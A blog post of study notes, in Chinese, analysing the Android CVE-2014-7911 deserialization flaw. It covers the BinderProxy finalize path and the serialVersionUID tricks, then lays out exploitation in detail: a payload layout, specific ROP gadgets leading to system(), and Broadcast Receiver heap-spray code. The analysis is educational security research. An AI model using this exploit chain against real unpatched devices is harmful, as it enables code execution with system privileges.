CVE-2014-7911学习笔记

Posted by rk700 on October 9, 2016

之前对Android root相关知识了解的不多,所以打算找几个洞学习一下。这篇是对CVE-2014-7911的相关分析文章的学习笔记。


漏洞成因

0x0 finalize()方法

Java中在进行垃圾回收时,要回收的对象的finalize()方法会被自动调用。类BinderProxy在文件/frameworks/base/core/java/android/os/Binder.java中定义,其finalize()方法如下:

@Override
protected void finalize() throws Throwable {
try {
destroy();
} finally {
super.finalize();
}
}

private native final void destroy();

所以,在回收BinderProxy对象时,会调用到其native方法destroy()。该方法的定义在文件/frameworks/base/core/jni/android_util_Binder.cpp中:

static void android_os_BinderProxy_destroy(JNIEnv* env, jobject obj)
{
IBinder* b = (IBinder*)
env->GetIntField(obj, gBinderProxyOffsets.mObject);
DeathRecipientList* drl = (DeathRecipientList*)
env->GetIntField(obj, gBinderProxyOffsets.mOrgue);

LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p\n", obj, b, drl);
env->SetIntField(obj, gBinderProxyOffsets.mObject, 0);
env->SetIntField(obj, gBinderProxyOffsets.mOrgue, 0);
drl->decStrong((void*)javaObjectForIBinder);
b->decStrong((void*)javaObjectForIBinder);

IPCThreadState::self()->flushCommands();
}

可以看到,指针drl的方法dexStrong被执行了,而该指针就是BinderProxy对象的变量mOrgue。所以,如果mOrgue的值被我们控制,那么就可能引发代码执行。

0x1 反序列化

序列化,是把对象转化为字节序列;反序列化,就是把字节序列转化为对象。

java.io.ObjectOutputStream的writeObject(Object obj)方法,可以把参数obj进行序列化;java.io.ObjectInputStream的readObject()方法,可以从输入流中读取字节并反序列化为对象。

如果一个类需要进行序列化/反序列化,那么这个类必须实现SerializableExternalizable接口。当实现Serializable接口的类没有定义readObjectwriteObject方法时,使用默认的readObjectwriteObject方法,而且,只有类的非transient变量才会进行序列化/反序列化。

Java序列化对象时,该对象的类名会保存在序列化得到的字节序列中。随后,在反序列化时,该类名信息会被用于创建对象。而CVE-2014-7911的主要成因,就是篡改了序列化字节中的类名,从而再反序列化时得到了原本不可序列化的BinderProxy

为了试验,我们编写一个简单的应用,其中有一个可序列化的类AAAA:

public class AAAA implements Serializable {
private static final long serialVersionUID = 0L;
private int mi = 0xdeadbeef;
private long ml = 0xbeefdead;
}

和一个不可序列化的类BBBB:

public class BBBB {
private int mi = 0x1337beef;
private long ml = 0xbeef1337;
}

我们在AVD上,试验将AAAA序列化后,把其中的AAAA改为BBBB,再由此反序列化得到BBBB。

在Google APIs ARM 4.4.2上可以运行成功:

但是在ARM 4.4.2上失败:在方法checkAndGetTcObjectClass中,提示BBBB不是可序列化的:

而这正是对CVE-2014-7911打了补丁的结果。补丁中新增了一些检查对象的方法,如checkAndGetTcObjectClass。在实际创建类之前,检查要进行反序列化的是否有效。因此,修改类名来反序列化BinderProxy,就无法通过检查了,从而修复了漏洞。

0x2 serialVersionUID

注意到,在在可序列化的类AAAA中,包含了值serialVersionUID。根据文档,每个可序列化的类都有这样一个变量,用于在序列化/反序列化时检查兼容性。如果我们不显示定义这个值,则运行时会自动根据类的信息,计算一个serialVersionUID

如果,在AAAA中不显式声明serialVersionUID,那么在之前的试验中,将其序列化后再反序列化为BBBB时,就会报错:

错误信息显示,BBBB期待的serialVersionUID值为0,这应该是与BBBB本身无法序列化有关。

我们对比显式设置serialVersionUID为0后,序列化AAAA得到的字节,发现其包含的信息确实由0x33f9cc28d1a3b64b变为0:

而0x33f9cc28d1a3b64b=3745249040823203403, 正好是错误信息显示的实际的serialVersionUID

所以,为了使我们反序列化成功,在类AAAA的定义中应该显式设置serialVersionUID为0。


漏洞利用

0x0 控制PC

之前提到,我们可以提供特定的mOrgue,使得方法decStrong被调用。具体地,方法decStrong在库libutils.so中,其汇编代码如下:

这里,r0this指针的值,也就是我们的mOrgue的值。0x0000D174处,便是我们控制PC的地方。

为了通过检查,并跳转到我们指定的地址,POC中构造了一套比较精妙的payload:

+---------+-------------------+---------------> payload start
| SA+GBO |
| |
+-------------------+
| SA+GBO-4 | SAO
Relative | |
+-------------------+
addresses | SA+GBO-8 |
| |
chunk +-----------------------------------> SA
| .... |
+-------------------+ GBO-SAO
| 1 |
+-----------------------------+---------------> SA+GBO-SAO = GBA
| 0xdeadbeef |
+-------------------+
Gadget | SA |
+-------------------+
Buffer | 0xdeadbeef |
+-------------------+
| ROP chain 0 |
+---------+-------------------+

整个payload分为两段:第一段Relative Addresses Chunk(RAC)是很长的一段,用于跳转到第二段;第二段Gadget Buffer(GB)则是用来放gadget的。上图中:

  • SA指Static Address,即我们用来设置mOrgue的一个固定的地址
  • GBO指Gadget Buffer Offset,指的是GB在payload中的偏移量,也就是第一段的长度
  • SAO即Static Address Offset, 为SA相对于payload的偏移量。

根据payload第一段的构造方式,此时SA处的内容为SA+GBO-SAO,正好为GB的实际地址Gadget Buffer Address(GBA)。所以,只要我们的第一段足够大,使得SA落在其中,则[SA]=GBA。

按照decStrong的执行流程,实际执行效果如下。

.text:0000D15A                 PUSH            {R4-R6,LR}
.text:0000D15C MOV R5, R0 ; r0是this指针,即我们设定的mOrgue的值SA
.text:0000D15E LDR R4, [R0,#4] ; r4 = [r0+4] = [SA+4] = SA+GBO-SAO-4 = GBA-4, 即r4是GB前4 BYTES处。
.text:0000D160 MOV R6, R1
.text:0000D162 MOV R0, R4
.text:0000D164 BLX android_atomic_dec ; 对r4调用android_atomic_dec: 该方法接收一个指针作为参数,将所指内容减1,并将减1前的结果返回
.text:0000D168 CMP R0, #1
.text:0000D16A BNE loc_D184 ; 如果android_atomic_dec(r4)==1,即[r4]==1, 则进入下一环节。根据payload的构造,[GBA-4]=1,符合要求
.text:0000D16C LDR R0, [R4,#8] ; r0 = [r4+8] = [GBA-4+8] = [GBA+4],根据payload的构造,[GBA+4]=SA,即r0 = SA
.text:0000D16E MOV R1, R6
.text:0000D170 LDR R3, [R0] ; r3 = [r0] = [SA] = GBA
.text:0000D172 LDR R2, [R3,#0xC] ; r2 = [r3+12] = [GBA+12],即为ROP chain 0
.text:0000D174 BLX R2 ; 执行ROP chain 0

由此,我们实现了控制PC

0x1 ROP chain

控制了PC,接下来就是构造ROP链了。试验的对象是AVD 4.4.2 Google APIs ARM image,我们把/system/lib/下一些常用的库拉下来,并按照POC中的ROP链的思路,搜索ROP gadget。不过在使用ROPgadget时,返回大量的gadget,还是需要人工去看哪些是有用。此外,不知道为什么,有些gadget用ROPgadget没搜到,是手工搜索指令找到的。

最后,ROP链构造如下:

ROP chain 0
libandroid_runtime.so thumb
0x0007bcb2 : ldr r7, [r5] ; ldr r3, [r7, #0x14] ; blx r3

ROP chain 1
libdvm.so thumb
0x00041c12: mov sp, r7; pop [r4-r10, pc]

ROP chain 2
libc.so arm
0x0003c190 : ldr r0, [r0, #0x48] ; pop {r3, pc}

ROP chain 3
libc.so thumb
799: 000246a1 200 FUNC GLOBAL DEFAULT 8 system

由于decStrong方法在开始执行时,首先会将r0的值保存到r5(见代码0x0000D15C处),所以,通过chain 0 和chain 1,可以将sp的值设置到我们的Gadget Buffer中。随后,chain 2将r0设置为[r0+0x48],即r0=GBA-0x48,我们把要执行的名称放在此处。最后,执行system()方法,其参数r0指向的,便是我们提供的要执行的命令。由此完成了整个ROP链,并以system的身份执行命令。

完整的payload结构示意图如下:

+----------------+-----------------+
| |
| |
| ... |
Relative | |
| |
Addresses +--------------------------------+
| |
Chunk | command |
| | 0x48
+-----------------+
| 1 |
+-------------------------------------------------+
| 0xdeadbeef |
+-----------------+
| SA |
+-----------------+
| 0xdeadbeef |
+-----------------+
| ROP chain 0 |
+-----------------+
Gadget | 0xdeadbeef |
+-----------------+
Buffer | ROP chain 1 |
+-----------------+
| 0xdeadbeef |
+-----------------+
| ROP chain 2 |
+-----------------+
| 0xdeadbeef |
+-----------------+
| ROP chain 3 |
+----------------+-----------------+

0x2 堆喷射

为了使设置的mOrgue能够落入payload中,采取了堆喷射的手段来布置payload。POC中采取的是动态注册Broadcast Receiver,并将payload放入permission字符串中:

    void heap_spary_ex(String str){
str = str + generateString(16);
try{
IntentFilter inFilter = new IntentFilter();

inFilter.addAction(generateString(16));

this.registerReceiver(receiver, inFilter,str,null);
//LocationManager lm = (LocationManager)getSystemService(LOCATION_SERVICE);
//lm.addTestProvider(str.toString(), false, false, false, false, false, false, false, 1, 1);
} catch(Exception e) {
//throw new RuntimeException(e);
//Log.i("7911", "exception" );
e.printStackTrace();
}

注册的Receiver会保存在system_server的堆上。通过大量注册这些Receiver,我们可以在堆上布置大量的payload,以待跳入。

0x3 system_server

为什么注册Receiver,就可以在system_server的堆上布置payload呢?为此,需要简要介绍下system_server。

system_server是一个非常重要的进程,它包括了大量系统服务。我们可以通过ps -t | grep <system_server_pid>来查看system_server所包含的线程,示例如下:

可以看到,许多重要的服务,如GC, Activity Manager, Windows Manager等,都是system_server的线程。另一方面我们知道,同一进程的不同线程,是拥有各自的栈,但是互相共享text和data,所以堆也是可以共享的。所以,之前研究堆溢出时,可以看到malloc是有线程安全版本的,以保证不同线程分配堆时不会发生冲突。

于是,我们注册Receiver时,最终会调用ActivityManagerService中的方法registerReceiver,定义在文件/frameworks/base/services/java/com/android/server/am/ActivityManagerService.java中。其中会创建新的BroadcastFilter对象,这便是保存在堆上的:

    public Intent registerReceiver(IApplicationThread caller, String callerPackage,
IIntentReceiver receiver, IntentFilter filter, String permission, int userId) {
...
BroadcastFilter bf = new BroadcastFilter(filter, rl, callerPackage,
permission, callingUid, userId);

所以通过注册Receiver的方式,我们在Activity Manager、即system_server的堆上布置了payload。

0x4 触发漏洞

当堆上的payload布置好后,我们便需要让system_server触发反序列化了。为此,我们将伪造的序列化字符串发送至system_server。system_server在将其反序列化后,得到伪造的BinderProxy。随后,在该对象被回收时,触发finalize()方法,进行访问我们设置的mOrgue,最后跳到设置好的的堆上,完成代码执行。


参考资料